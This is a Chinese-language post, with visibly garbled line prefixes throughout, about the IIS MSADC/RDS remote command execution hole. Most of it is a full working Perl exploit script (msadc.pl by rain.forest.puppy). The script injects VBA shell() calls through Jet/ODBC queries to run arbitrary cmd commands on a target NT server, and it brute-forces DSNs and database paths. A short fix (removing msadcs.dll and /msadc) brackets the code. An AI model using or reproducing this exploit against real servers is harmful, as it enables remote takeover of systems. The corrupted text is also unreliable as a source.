IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
u\`/Nhn %VzYqj_P" 涉及程序：
\WWG>OUh.U Microsoft NT server
z4 CJn[m9 YM i/uy 描述：
T3=(` 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
F 4Rr2 6M );=Q] > 详细：
sNL+F 如果你没有时间读详细内容的话，就删除:
f[x~)= c:\Program Files\Common Files\System\Msadc\msadcs.dll
V
{p*z 有关的安全问题就没有了。
$( S*GF$S .+OB!'dDK^ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
c8T/4hU
MN Tru c[A.2Z 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
>GgE,h 关于利用ODBC远程漏洞的描述，请参看:
bn $)f6% !6lOIgn http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ^D >fis ]* 0(-@ 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
'? 5S"?? http://www.microsoft.com/security/bulletins/MS99-025faq.asp +6
ho)YL U<Vy>gIC 这里不再论述。
^[#=L4 L/ ~D<V 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
k!&:(] z ^'n* h /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
+vf:z?I8 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
YUCC*t JRq3>P Q |%-9^ #将下面这段保存为txt文件，然后: "perl -x 文件名"
>E, Q yX`#s]M #!perl
1DUb
[ W8 #
q]K 'p,' # MSADC/RDS 'usage' (aka exploit) script
F'1k<V? #
sMP:sCRC # by rain.forest.puppy
#00D?nC #
6F(hY !}5 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
vHS2q
> # beta test and find errors!
guU=NQZ +s ULo use Socket; use Getopt::Std;
#G[t X6gU getopts("e:vd:h:XR", \%args);
*#zS^b n m~;B:LN< print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
tj[ c#@[B }w#F6 if (!defined $args{h} && !defined $args{R}) {
K U $`!h print qq~
/H Zv Usage: msadc.pl -h <host> { -d <delay> -X -v }
Bhe{L?}0 -h <host> = host you want to scan (ip or domain)
s"WBw'_<< -d <seconds> = delay between calls, default 1 second
$C u R}g -X = dump Index Server path table, if available
w- ALCh8o -v = verbose
Fwb5u!_, -e = external dictionary file for step 5
ypl G18 D*QYKW=) Or a -R will resume a command session
D^|9/qm$ UA0 F): ~; exit;}
a fx' 4@h;5 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
o5SQ1;`
if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
my Ie_k,F if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
J1X~vQAe if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
OM)3Y6rK $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
~@D/A/| if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
A @2Bs 5F e\D|
o?v if (!defined $args{R}){ $ret = &has_msadc;
^&Q< tN 7 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
E=]]b;u-n et` 0Je print "Please type the NT commandline you want to run (cmd /c assumed):\n"
5]d{6Nc3P . "cmd /c ";
)S*1C@ $in=<STDIN>; chomp $in;
b# u8\H $command="cmd /c " . $in ;
f!x[ln< m'bi\1Q if (defined $args{R}) {&load; exit;}
gw+eM,Yp &iBNO,v print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
!zR)D|w& &try_btcustmr;
w#9_eq|3 Xh}&uZ`A print "\nStep 2: Trying to make our own DSN...";
9 I{/zKq &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
y^R4I_* z ezUQ>
e print "\nStep 3: Trying known DSNs...";
wt?o
7R2 &known_dsn;
D:9
2\l
bq NP#C print "\nStep 4: Trying known .mdbs...";
,EI:gLH &known_mdb;
#K4*6LI kAo.C Nj7 if (defined $args{e}){
o_$&XNC_ print "\nStep 5: Trying dictionary of DSN names...";
gi$XB}L+X &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
I ]9 C_ \f%.n]> print "Sorry Charley...maybe next time?\n";
^_W40/c3 exit;
>g}G}=R~3 e; h,V( ##############################################################################
RV;!05^< 0[Eb .2I sub sendraw { # ripped and modded from whisker
ykmv'a$-4 sleep($delay); # it's a DoS on the server! At least on mine...
v@n_F my ($pstr)=@_;
| ##GIIv;i socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
t, HFz6 die("Socket problems\n");
.Y\EE;8% if(connect(S,pack "SnA4x8",2,80,$target)){
Ee)xnY%( select(S); $|=1;
gCJIIzl%Bh print $pstr; my @in=<S>;
jn =:G+0 select(STDOUT); close(S);
Ilq=wPD}j return @in;
=wrP:wYF } else { die("Can't connect...\n"); }}
RB$
z]/= I Zrk1fh ##############################################################################
t,<UohL|z (>7>3 sub make_header { # make the HTTP request
>bI F>9T my $msadc=<<EOT
:FHA]o ec1 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
J 'Sm0 User-Agent: ACTIVEDATA
:m ZYS4L~ Host: $ip
`]<`$71w Content-Length: $clen
xaW{I7FfG Connection: Keep-Alive
i=rH 7k uMd. j$$ ADCClientVersion:01.06
BJy ;-(JP Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
pj8azFZ g7n " --!ADM!ROX!YOUR!WORLD!
VaR/o # Content-Type: application/x-varg
E!mmLVa9 Content-Length: $reqlen
b1-&v|L Bp_wnd EOT
?obm7< ; $msadc=~s/\n/\r\n/g;
(ML haux- return $msadc;}
+@:L|uFU , ;jGJr ##############################################################################
m3 -9b" f^b K=# sub make_req { # make the RDS request
^sClz*%? my ($switch, $p1, $p2)=@_;
N$#\Xdo my $req=""; my $t1, $t2, $query, $dsn;
|5MbAqjzC t'(1I|7 if ($switch==1){ # this is the btcustmr.mdb query
@dEiVF`4: $query="Select * from Customers where City=" . make_shell();
/+[63=fl $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
1@qgF $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
+B"0{>n}F ;rR/5d1! elsif ($switch==2){ # this is general make table query
$NG++N $query="create table AZZ (B int, C varchar(10))";
Mvcfk$pA $dsn="$p1";}
ar ^i|`D $k%Z$NSN= elsif ($switch==3){ # this is general exploit table query
:YO@_ $query="select * from AZZ where C=" . make_shell();
RE"^
)- $dsn="$p1";}
-d=WV:G%e eUBrzoCO elsif ($switch==4){ # attempt to hork file info from index server
~ ?^/u8 $query="select path from scope()";
| C+o; $dsn="Provider=MSIDXS;";}
caq} &A]C tef^ShF] elsif ($switch==5){ # bad query
<<zI\+V $query="select";
)^x K $dsn="$p1";}
5?u}#zO |yY`s6Uq $t1= make_unicode($query);
n}n E cXb $t2= make_unicode($dsn);
8@\7&C(g17 $req = "\x02\x00\x03\x00";
jn dGiMA $req.= "\x08\x00" . pack ("S1", length($t1));
?Bx./t>< $req.= "\x00\x00" . $t1 ;
EgM*d)X $req.= "\x08\x00" . pack ("S1", length($t2));
JL^2l$up $req.= "\x00\x00" . $t2 ;
]?LB?:6 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
zP) ~a return $req;}
iiC!|`k" D4u% 6R|F ##############################################################################
WA Phv-6 S#l5y%& sub make_shell { # this makes the shell() statement
\'v(Xp6 return "'|shell(\"$command\")|'";}
Z-X ?JA\& {/8Q)2*>0 ##############################################################################
{eT.SO I'!/[\ _ sub make_unicode { # quick little function to convert to unicode
MaY682}|y my ($in)=@_; my $out;
k%81f'H for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
'7 )" return $out;}
(6gK4__}] )"<8K}%! ##############################################################################
/X*oS & -M zfI}Q}p sub rdo_success { # checks for RDO return success (this is kludge)
Acm<-de my (@in) = @_; my $base=content_start(@in);
3$/ 4wH^ if($in[$base]=~/multipart\/mixed/){
q3w1GD
return 1 if( $in[$base+10]=~/^\x09\x00/ );}
[\e@_vY@OH return 0;}
E bQa? z\!K<d"Xv ##############################################################################
X[3}?,aqL L
3XB"A# sub make_dsn { # this makes a DSN for us
U5r}6D !) my @drives=("c","d","e","f");
c j$6 print "\nMaking DSN: ";
~mp0B9L% foreach $drive (@drives) {
svhI3 "r print "$drive: ";
kxB.,' my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
Y %aWK~O "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
rZ03x\2 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
iCQ>@P]nE $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
7jG(< !, return 0 if $2 eq "404"; # not found/doesn't exist
ROb\Rx m if($2 eq "200") {
dK9Zg,DZL foreach $line (@results) {
kLP0{A return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
LHYLC>J } return 0;}
X$n(-65 nv/ [I,nw ##############################################################################
7/ I l L LlYTv% I sub verify_exists {
83Ou9E!W my ($page)=@_;
gzn^#3 b my @results=sendraw("GET $page HTTP/1.0\n\n");
WcUJhi^\C return $results[0];}
42C<1@>zO !cX[-}Q ##############################################################################
~N0 sJ% V!/:53 sub try_btcustmr {
|NFZ(6vNh my @drives=("c","d","e","f");
Ctu?o+^;z my @dirs=("winnt","winnt35","winnt351","win","windows");
y/_XgPfWU S ZU
\i* foreach $dir (@dirs) {
A*yi"{FLi print "$dir -> "; # fun status so you can see progress
;{Ux_JEg foreach $drive (@drives) {
QG
gF|c7 print "$drive: "; # ditto
A;X=bj _&a $reqlen=length( make_req(1,$drive,$dir) ) - 28;
8At<Wic $reqlenlen=length( "$reqlen" );
['qnn| $clen= 206 + $reqlenlen + $reqlen;
3lxc4@Zmd 8{
c !). my @results=sendraw(make_header() . make_req(1,$drive,$dir));
[:EvTY if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
}j {!-& else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
5TKJWO. OjE` 1h\ ##############################################################################
OS-f(qXd+ 3`.P'Fh(k sub odbc_error {
",qU,0 my (@in)=@_; my $base;
:D:DnVZ-[@ my $base = content_start(@in);
Li{~=S@N* if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
N:5[,O<m_ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
6sfwlT $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
oYM3Rgxf9Q $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
hVpCB, return $in[$base+4].$in[$base+5].$in[$base+6];}
Fj
p.T; print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
JCniN";r[ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
9WG{p[ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
vIGw 6BJI q OhO qV ##############################################################################
{p<Zbm . ( )T[$.( sub verbose {
G=9d&N my ($in)=@_;
oMH.u^b]fT return if !$verbose;
^%T7. 1 'x print STDOUT "\n$in\n";}
io2)1cE&f R!\EK H ##############################################################################
.p`
pG3 u'~;Y.@i' sub save {
9"{W,'r&d my ($p1, $p2, $p3, $p4)=@_;
j7QX ,_Q open(OUT, ">rds.save") || print "Problem saving parameters...\n";
?uL eFD print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
uzr\oj+> close OUT;}
k=ytu V\ o2H1N~e#c ##############################################################################
G@ \Pi#1 32)tJ|m sub load {
Q COo my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
,T,:-E open(IN,"<rds.save") || die("Couldn't open rds.save\n");
uRV<?y% @p=<IN>; close(IN);
Av J4\ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
+~zXDBS9 $target= inet_aton($ip) || die("inet_aton problems");
~`MS~,, print "Resuming to $ip ...";
%r{3wH# D@ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
K,ej%Vtz if($p[1]==1) {
sy* y\5yJ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
\K 2*Q&> $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
uzOYVN$t my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
Dh| w^Q if (rdo_success(@results)){print "Success!\n";}
}GwVKAjP else { print "failed\n"; verbose(odbc_error(@results));}}
Ka!I`Yf elsif ($p[1]==3){
W~n.Xeu{C if(run_query("$p[3]")){
)$GIN/i print "Success!\n";} else { print "failed\n"; }}
p
zw8 T elsif ($p[1]==4){
c7 uG9 if(run_query($drvst . "$p[3]")){
k `KGB print "Success!\n"; } else { print "failed\n"; }}
<!d"E@%v@ exit;}
DbI!l`Vn4 v5}X+' ##############################################################################
2 !1.E5.I Rfb?f} j sub create_table {
U%<rn(xWXD my ($in)=@_;
}j 5 a[L $reqlen=length( make_req(2,$in,"") ) - 28;
a l MYk $reqlenlen=length( "$reqlen" );
l~s7Ae $clen= 206 + $reqlenlen + $reqlen;
Yf_6PGNzX my @results=sendraw(make_header() . make_req(2,$in,""));
;r\(p|e return 1 if rdo_success(@results);
q6#<[ 4? my $temp= odbc_error(@results); verbose($temp);
R6;Phdh<> return 1 if $temp=~/Table 'AZZ' already exists/;
.1 )RW5|c return 0;}
I5ss0JSl/ ~`8hwR1&z ##############################################################################
yc;3Id5?> xg`h 40c sub known_dsn {
'=E9En#@ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
uLeRZSC my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
5v.DX`" "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
<~U4* "banner", "banners", "ads", "ADCDemo", "ADCTest");
, :n|
?7 yY{kG2b, foreach $dSn (@dsns) {
+>^7vq-\' print ".";
]w).8=I next if (!is_access("DSN=$dSn"));
vYmSKS if(create_table("DSN=$dSn")){
-F / st print "$dSn successful\n";
0Wvq>R.(]7 if(run_query("DSN=$dSn")){
B0}~G(t( print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
q(o/yx{bm print "Something's borked. Use verbose next time\n";}}} print "\n";}
5FKBv
e@ l*aj#%ha ##############################################################################
yGBQ0o7E QWnndI_4p sub is_access {
` m@U!X
my ($in)=@_;
ZM#=`k9 $reqlen=length( make_req(5,$in,"") ) - 28;
fG LG$b $reqlenlen=length( "$reqlen" );
@~
Dh'w2q $clen= 206 + $reqlenlen + $reqlen;
c~,23wP1 my @results=sendraw(make_header() . make_req(5,$in,""));
U'( sn my $temp= odbc_error(@results);
}ucIH@U{ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
c{#yx_)V& return 0;}
\ 0;(VLN'U *O$CaAr\s ##############################################################################
f|EUqu%E 7v}x?I sub run_query {
2RtHg_d_l my ($in)=@_;
q z&+=d@ $reqlen=length( make_req(3,$in,"") ) - 28;
u+9<&)X0 $reqlenlen=length( "$reqlen" );
b Uy,5gk- $clen= 206 + $reqlenlen + $reqlen;
K/ _9f'^ my @results=sendraw(make_header() . make_req(3,$in,""));
v5ur&egVs return 1 if rdo_success(@results);
[] W;t\h my $temp= odbc_error(@results); verbose($temp);
l3o#@sz: return 0;}
u0)7i.!M # G]! % ##############################################################################
Z,7R;,qX H[Q_hY[>V sub known_mdb {
r`\A
nT? my @drives=("c","d","e","f","g");
1$lh"fHU my @dirs=("winnt","winnt35","winnt351","win","windows");
1nh tM my $dir, $drive, $mdb;
Zi$ziDz& my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
)ukpJ z"" >RI>J.~ # this is sparse, because I don't know of many
GyI-)Bl DC my @sysmdbs=( "\\catroot\\icatalog.mdb",
.aOn Gp "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
{i~8 : "\\system32\\certmdb.mdb",
Y(VJbm` "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
x|64l`Vp(: vEe NW my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
V}w ;Y?] J "\\cfusion\\cfapps\\forums\\forums_.mdb",
a T l c "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
ks;% *d "\\cfusion\\cfapps\\security\\realm_.mdb",
Z{NC9 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
VObrlOkp "\\cfusion\\database\\cfexamples.mdb",
j5$BK[ p. "\\cfusion\\database\\cfsnippets.mdb",
* !e(A ]& "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
`<" m%> "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
9Mm!%Hu "\\cfusion\\brighttiger\\database\\cleam.mdb",
T5Esee sp "\\cfusion\\database\\smpolicy.mdb",
iX{G]< n "\\cfusion\\database\cypress.mdb",
1t[j"CG(o "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
:VmHfOO "\\website\\cgi-win\\dbsample.mdb",
kdx
y\
jA "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
)QiQn=Ce "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
,SlN zR ); #these are just
0o&MB
Dp foreach $drive (@drives) {
=4! n Fi foreach $dir (@dirs){
"O>n@Q| foreach $mdb (@sysmdbs) {
7EhN u@5- print ".";
N)8HR9[! if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
8G%yB}pa print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
)x,8D ~p' if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
O{z}8&oR: print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
'rP]Nw } else { print "Something's borked. Use verbose next time\n"; }}}}}
@R~5- m 36m5bYMd) foreach $drive (@drives) {
yI{5m^s { foreach $mdb (@mdbs) {
#1-xw~_ print ".";
h:\ol y\ if(create_table($drv . $drive . $dir . $mdb)){
2 - !L _W( print "\n" . $drive . $dir . $mdb . " successful\n";
Ft JjY@# if(run_query($drv . $drive . $dir . $mdb)){
&:*q_$]Oz print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
9~ IQw#< } else { print "Something's borked. Use verbose next time\n"; }}}}
0"k |H& }
[p r"ZQ] Y]`.InG@ ##############################################################################
f2)XP$: he3SR @\T sub hork_idx {
rd|uz4d print "\nAttempting to dump Index Server tables...\n";
Z^KA print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
bBxw#_3A?E $reqlen=length( make_req(4,"","") ) - 28;
$.St ej1 $reqlenlen=length( "$reqlen" );
eDO!^.<5 $clen= 206 + $reqlenlen + $reqlen;
eEc4bV Qa my @results=sendraw2(make_header() . make_req(4,"",""));
1 [nG} if (rdo_success(@results)){
]Al;l*yw my $max=@results; my $c; my %d;
C"T1MTB for($c=19; $c<$max; $c++){
J<n+\F-s $results[$c]=~s/\x00//g;
;+ "f $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
LS>G4
] $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
=8 G&3 R $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
BG2)v.CU $d{"$1$2"}="";}
ER&UBUu" foreach $c (keys %d){ print "$c\n"; }
5 +9 Ze9 } else {print "Index server doesn't seem to be installed.\n"; }}
7[v%GoE |Y i)"- ##############################################################################
Jhkvd<L8`m n7LfQWc sub dsn_dict {
DR 9: _ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
jD,Baz< while(<IN>){
Doze8pn $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
/Wk9-uH next if (!is_access("DSN=$dSn"));
)w~Fo, if(create_table("DSN=$dSn")){
Nf,Z; 5 e print "$dSn successful\n";
r4_eTrC, if(run_query("DSN=$dSn")){
<S"~vKD' print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
De
*7OC print "Something's borked. Use verbose next time\n";}}}
["<nq`~ print "\n"; close(IN);}
~!6K]h B4 Je H ;v0 ##############################################################################
DdV'c@rq + V%
TH7@y sub sendraw2 { # ripped and modded from whisker
%n0;[sD0A sleep($delay); # it's a DoS on the server! At least on mine...
;bu# 8, my ($pstr)=@_;
T0HuqJt y socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
W\*-xf|"d die("Socket problems\n");
}b3/b if(connect(S,pack "SnA4x8",2,80,$target)){
1-SVCk
- print "Connected. Getting data";
A!W0S open(OUT,">raw.out"); my @in;
e>'H
IO select(S); $|=1; print $pstr;
`A%^UCd while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
9e!NOl\_;. close(OUT); select(STDOUT); close(S); return @in;
=x#FbvV } else { die("Can't connect...\n"); }}
Y[ reD H!e 3~+) ##############################################################################
>P KBo Weoj|0|t sub content_start { # this will take in the server headers
Zzua17
my (@in)=@_; my $c;
&6 - k#r for ($c=1;$c<500;$c++) {
4tA_YIv
if($in[$c] =~/^\x0d\x0a/){
Die-@z|Y if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
$ls[|N:y0l else { return $c+1; }}}
d P$GThGl return -1;} # it should never get here actually
M
s9E@E qgt[ ~i* ##############################################################################
x90*yaw>h :)f7A7 :; sub funky {
pfuW my (@in)=@_; my $error=odbc_error(@in);
Lr;(xw\[' if($error=~/ADO could not find the specified provider/){
b}OD WdJ1 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
Lju7,/UD exit;}
UQ Co}vM if($error=~/A Handler is required/){
k?nQ?B
W print "\nServer has custom handler filters (they most likely are patched)\n";
< O*6 T%; exit;}
;d.K_P if($error=~/specified Handler has denied Access/){
Q }k.JS~# print "\nServer has custom handler filters (they most likely are patched)\n";
8Chj
w wB exit;}}
|C \}P 4 fV3Ear=j ##############################################################################
$
0|a; U09.Y sub has_msadc {
q =HHNjj8 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
0x2!<z my $base=content_start(@results);
A?5E2T1L%. return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
4S0>-?{ return 0;}
F7 m?xy ge3sU5iZ ########################
>r/rc`Q f}c\_}( txql 2 解决方案：
HY;o ^drd 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
mwv(j_ 2、移除web 目录: /msadc
